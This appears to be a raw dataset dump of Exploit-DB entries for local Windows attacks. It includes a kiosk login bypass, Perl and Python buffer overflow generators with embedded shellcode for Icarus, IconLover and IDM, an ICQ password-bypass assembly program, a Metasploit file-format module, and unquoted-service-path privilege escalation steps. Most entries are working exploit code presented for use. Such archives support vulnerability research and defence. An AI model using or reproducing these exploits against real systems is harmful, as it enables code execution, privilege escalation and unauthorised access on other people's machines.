deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32158
Description: iCAM Workstation Control 4.8.0.0 - Authentication Bypass
Type: local
Platform: windows
Date: 2014-03-10
Author: StealthHydra

Exploit:
# Exploit Title: iCAM Workstation Control Software Local Authentication Bypass
# Google Dork:
# Vendor: Insight Media Internet Limited is based in the North West of England, and has 10 years experience in developing both internet and software solutions.
  Our staff are focused and committed to offering the best possible service and assistance to customers both old and new.
# Product: iCAM Workstation Control is a PC booking system designed to give organisations complete control over the access and pre-booking of publicly accessible workstations.
# Details: There is a simple local exploit in iCAM workstation control which allows a user to bypass the login screen and access the Local Disk Drive to launch applications such as a Web Browser.
# Exploitation-Technique: Local
# Date: 06-03-2014
# Exploit Author: StealthHydra
# Vendor Homepage: http://www.insight-media.co.uk/index.php?id=9
# Software Link: 
# Version: 4.8.0.0
# Tested on: Windows 7
# CVE : 
# Method:
=========

1.) From the login screen most keys are blocked accept alphanumeric keys. However if you press the Alt & Tab hotkey then you can access the desktop of the user currently running the iCAM client.

2.) Although a blank desktop, you can then press the shortcut for the Windows Help feature - Windows key & F1

3.) Once in the windows help if you type in a random string into the search box and press enter, windows explorer appears. 

4.) Once in the windows explorer you can launch various applications by navigating the windows file system.
Exploit-DB #9149
Description: Icarus 2.0 - '.icp' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-07-15
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Icarus 2.0 (.ICP File) Local buffer Overflow (seh)
# # Greetz to all my friends
# form egypt
## easy :d ###PoC by : ThE g0bL!N    
## this work sooooooooo good
## USAGE put the file GUEST.ICP in Icarus Directory
## Tested on: Windows XP Pro SP2 (EN)
################################################################
my $bof="\x41" x 18204;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> GUEST.ICP');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-07-15]
Exploit-DB #9628
Description: Icarus 2.0 - '.pgn' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-09-10
Author: germaya_x

Exploit:
#!/user/bin/perl
#Icarus 2.0 (.PGn File)Universal Local BOF (SEH)
#tested on win SP2
#origenal  exploit : http://milw0rm.com/exploits/8236
#Author: germaya_x & D3v!LFUCK3R
#Download :http://www.randomsoftware.com/pub/icarus.exe
#GreTz [2] :his0k4  , Eddy_BAck0o , THE INJECTOR ,   ALL : www.lezr.com members :)
#fuck To: RoMaNcYxHaCkEr & alnjm33 & ALL www.sec-war.com  :)
#############################################################
my $bof="A" x 332 ;
my $NEXT_sEh="\xEB\x06\x90\x90";
my $SEH="\x3F\xB2\x2E\x66";#hnetcfg.DLL
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
###################################################################
open(myfile,'>> germaya_x.pgn');
print myfile $bof.$NEXT_sEh.$SEH.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-10]
Exploit-DB #38349
Description: IconLover 5.42 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-09-29
Author: cor3sm4sh3r

Exploit:
# Exploit Title: IconLover v5.42 Buffer Overflow Exploit
# Date: 29/09/2015
# Exploit Author: cor3sm4sh3r
# Author email: cor3sm4sh3r[at]gmail.com
# Contact: https://in.linkedin.com/in/cor3sm4sh3r
# Twitter: https://twitter.com/cor3sm4sh3r
# Category: Local
# Tested : win XP professional sp2 


'''
Credits & Authors:
==================
ZwX (http://zwx.fr/)
[http://www.vulnerability-lab.com/show.php?user=ZwX]

#References (Source):
http://www.vulnerability-lab.com/get_content.php?id=1609

Affected Product(s):
====================
AHA-Soft
Product: IconLover - Software (Windows) 5.42 and 5.45


Manual steps to exploit...
1. Copy the content of  exploit.txt to your clipboard
2. Run the IconLover.exe software
3. Click the File -> New Icon Lybrary option
4. Click the Lybrary and push the Download button
5. Paste it the input Website Adress (URL) AAAA+... string click ok and hide
6. Successful exploitation will open an instance of calc.exe!
 
'''


#!/usr/bin/env python
#badchars = "\x00\x0a\x0d"
junk  = "\x41" * 1039
eip  = "\xed\x1e\x94\x7c"    #jmp esp 7c941eed ntdll.dll ( XP sp2 )
nopsled ="\x90"*20

shellcode  = "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
shellcode += "\x50"                 #=> PUSH EAX             |  Push EAX to have null-byte padding for "calc.exe"
shellcode += "\x68\x2E\x65\x78\x65" #=> PUSH ".exe"          |  Push The ASCII string to the stack
shellcode += "\x68\x63\x61\x6C\x63" #=> PUSH "calc"          |
shellcode += "\x8B\xC4"             #=> MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
shellcode += "\x6A\x01"             #=> PUSH 1               |  Push uCmdShow parameter to the stack
shellcode += "\x50"                 #=> PUSH EAX             |  Push the pointer to lpCmdLine to the stack
shellcode += "\xBB\x4d\x11\x86\x7C" #=> MOV EBX,7C86114d     |  Move the pointer to WinExec() into EBX
shellcode += "\xFF\xD3"             #=> CALL EBX    
shellcode += "\x33\xc0"             #=> XOR EAX,EAX          |  Zero out EAX register
shellcode += "\x50"                 #=> PUSH EAX             |  Push EAX
shellcode += "\xBB\xa2\xca\x81\x7c" #=> MOV EBX,7C81caa2     |  Exit process
shellcode += "\xFF\xD3"             #=> CALL EBX

packet = junk + eip + nopsled + shellcode + nopsled

file=open('exploit.txt','w')
file.write(packet)
file.close()
Exploit-DB #52
Description: ICQ Pro 2003a - 'ca1-icq.asm' Password Bypass
Type: local
Platform: windows
Date: 2003-07-09
Author: Caua Moura Prado

Exploit:
; <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
;         CUT HERE - CUTE HERE - ca1-icq.asm - CUT HERE - CUT HERE      BOF 
; -------------------------------------------------------------------------
;
;  07/02/2003 - ca1-icq.asm 
;  ICQ Password Bypass exploit.
;  written by Caua Moura Prado (aka ca1)
; 
;  This exploit allows you to login to ICQ server using any account registered *locally*
;  no matter the 'save password' option is checked or not. High level security is also bypassed. 
;  All you have to do is run the exploit and set status property using your mouse when the flower
;  is yellow. If you accidentally set status to offline then you will need to restart ICQ and run 
;  the exploit again. 
;
;        uh-oh!
;         ___     
;      __/   \__  
;     /  \___/  \        Vulnerable:
;     \__/+ +\__/          ICQ Pro 2003a Build #3800
;     /   ~~~   \
;     \__/   \__/        Not Vulnerable:
;        \___/                ICQ Lite alpha Build 1211
;                               ICQ 2001b and ICQ 2002a 
;    tHe Flaw Power       All other versions were not tested.                       
;                                                      
                           coded with masm32
; ________________________________________________________________exploit born in .br
        
.386
.model flat, stdcall
option casemap:none
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
szTextHigh byte 'Password Verification', 0 
szTextLow byte 'Login to server', 0
szClassName byte '#32770', 0
.data?
hWndLogin dword ?
.code
_entrypoint:
 invoke FindWindow, addr szClassName, addr szTextHigh
 mov hWndLogin, eax  
 .if hWndLogin == 0
   invoke FindWindow, addr szClassName, addr szTextLow
   mov hWndLogin, eax
 .endif 
 invoke GetParent, hWndLogin 
 invoke EnableWindow, eax, 1      ;Enable ICQ contact 
list
 invoke ShowWindow, hWndLogin, 0  ;get rid of Login 
screen (don't kill this window)
 invoke ExitProcess, 0            ;uhuu.. cya! i gotta 
sleep!
end _entrypoint

; <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
;         CUT HERE - CUTE HERE - ca1-icq.asm - CUT HERE - CUT HERE      EOF 
; -------------------------------------------------------------------------



; milw0rm.com [2003-07-09]
Exploit-DB #12540
Description: IDEAL Migration 4.5.1 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-05-08
Author: blake

Exploit:
###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'IDEAL Migration Version 4.5.1 Buffer
Overflow',
            'Description'    => %q{
                    This module exploits a stack overflow in IDEAL Migration
version 4.5.1.
                    By creating a specially crafted ipj file, an an attacker
may be able
                    to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'blake' ],
            'Version'        => 'Version 1',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/12404' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload'        =>
                {
                    'Space'    => 986,
                    'BadChars' => "\x00\x1a\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP Universal', { 'Ret' => 0x7c96bf33 } ], #
JMP ESP in ULMigration_us.dll
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'April 26, 2010',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME',   [ false, 'The file name.',
'msf.ipj']),
                ], self.class)

    end

    def exploit

        sploit =  "\x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F"
        sploit << "\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A"
        sploit << "\x43\x6f\x6d\x70\x75\x74\x65\x72\x3D"
        sploit << rand_text_alpha_upper(2420)
        sploit << [target.ret].pack('V')
        sploit << make_nops(10)
        sploit << payload.encoded
        sploit << "\x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A"

        ipj = sploit

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(ipj)

    end

end
Exploit-DB #49018
Description: iDeskService 3.0.2.1 - 'iDeskService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Leslie Lara

Exploit:
# Exploit Title: iDeskService 3.0.2.1 - 'iDeskService' Unquoted Service Path
# Discovery by: Leslie Lara
# Discovery Date: 7-09-2020
# Vendor Homepage: https://www.huawei.com/en/corporate-information
# Software Links : https://www.advanceduninstaller.com/iDesk-3_0_2_1-ac22913ee90dd58ca897d1ddf3d62a8f-application.htm
# Tested Version: 3.0.2.1
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits

# Step to discover Unquoted Service Path: 
 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
iDeskService               
      iDeskService                              C:\Program Files (x86)\SPES5.0\Composites\iDesk\iDeskService.exe 
                                           Auto

C:\>sc qc "iDeskService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: iDeskService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\SPES5.0\Composites\iDesk\iDeskService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : iDeskService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #36533
Description: IDM 6.20 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-03-28
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: IDM v6.20 Local Buffer Overflow
#[+] Date: 27-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.internetdownloadmanager.com/
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Poc:http://i.imgur.com/7et4xSh.png
#[+] Create IDMLBOF.txt then open , copy the content then go to Options-VPN/Dial Up and paste it in the username field. 


from struct import pack
file="IDMLBOF.txt"
junk="\x41"*2313
eip = pack('<I',0x7C9D30D7)
nops = "\x90" * 3
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
"\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3"
"\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd"
"\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8"
"\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5"
"\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87"
"\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+shellcode)
writeFile.close()
Exploit-DB #49043
Description: IDT PC Audio 1.0.6425.0 - 'STacSV' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-13
Author: Isabel Lopez

Exploit:
# Exploit Title: IDT PC Audio 1.0.6425.0 - 'STacSV' Unquoted Service Path
# Discovery by: Isabel Lopez
# Software link: https://www.pconlife.com/download/otherfile/20566/098185e9b7c417cf7480bb9f839db652/
# Discovery Date: 2020-11-07
# Tested Version: 1.0.6425.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 es


# Step to discover Unquoted Service Path:


C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """

Audio service     STacSV     c:\Program Files\IDT\WDM\STacSV64.exe    Auto

# Service info:

c:\>sc qc STacSV
[SC] QueryServiceConfig SUCCES

SERVICE_NAME: STacSV
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : c:\Program Files\IDT\WDM\STacSV64.exe
        LOAD_ORDER_GROUP   : AudioGroup
        TAG                : 0
        DISPLAY_NAME       : Audio Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49157
Description: IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-02
Author: Manuel Alvarez

Exploit:
# Exploit Title: IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path
# Discovery by: Manuel Alvarez
# Software link: https://www.pconlife.com/download/otherfile/20566/e82994866a370a480607637f28b82835/
# Discovery Date: 2020-11-27
# Tested Version: 1.0.6433.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i
"Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """

Audio service     STacSV     c:\Program Files\IDT\WDM\STacSV64.exe    Auto

# Service info:

C:\>sc qc StacSV
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: StacSV
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\IDT\WDM\STacSV64.exe
        GRUPO_ORDEN_CARGA  : AudioGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Audio Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #49191
Description: IDT PC Audio 1.0.6499.0 - 'STacSV' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-04
Author: Diego Cañada

Exploit:
# Exploit Title: IDT PC Audio 1.0.6499.0 - 'STacSV' Unquoted Service Path
# Discovery by: Diego Cañada
# Software link: https://www.pconlife.com/download/otherfile/20566/90674cffc8658c4f2bf58d43bb9b7ccb/
# Discovery Date: 2020-12-03
# Tested Version: 1.0.6499.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home Single Language x64 ES

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i
"Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """

Audio service     STacSV     c:\Program Files\IDT\WDM\STacSV64.exe    Auto

# Service info:

C:\>sc qc StacSV
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: StacSV
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\IDT\WDM\STacSV64.exe
        GRUPO_ORDEN_CARGA  : AudioGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Audio Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #50040
Description: iFunbox 4.2 - 'Apple Mobile Device Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-21
Author: Julio Aviña

Exploit:
# Exploit Title: iFunbox 4.2 - 'Apple Mobile Device Service' Unquoted Service Path
# Date: 2021-06-18
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.i-funbox.com/en/index.html
# Software Link: https://www.i-funbox.com/download/ifunbox_setup_4.2.exe
# Version: 4.2
# Service File Version: 486.0.2.23
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%Apple Mobile Device Service%"' get displayname, pathname, startmode, startname

DisplayName                  PathName                                                                                    StartMode  StartName
Apple Mobile Device Service  C:\Program Files (x86)\i-Funbox DevTeam\Mobile Device Support\AppleMobileDeviceService.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "Apple Mobile Device Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Apple Mobile Device Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\i-Funbox DevTeam\Mobile Device Support\AppleMobileDeviceService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Apple Mobile Device Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.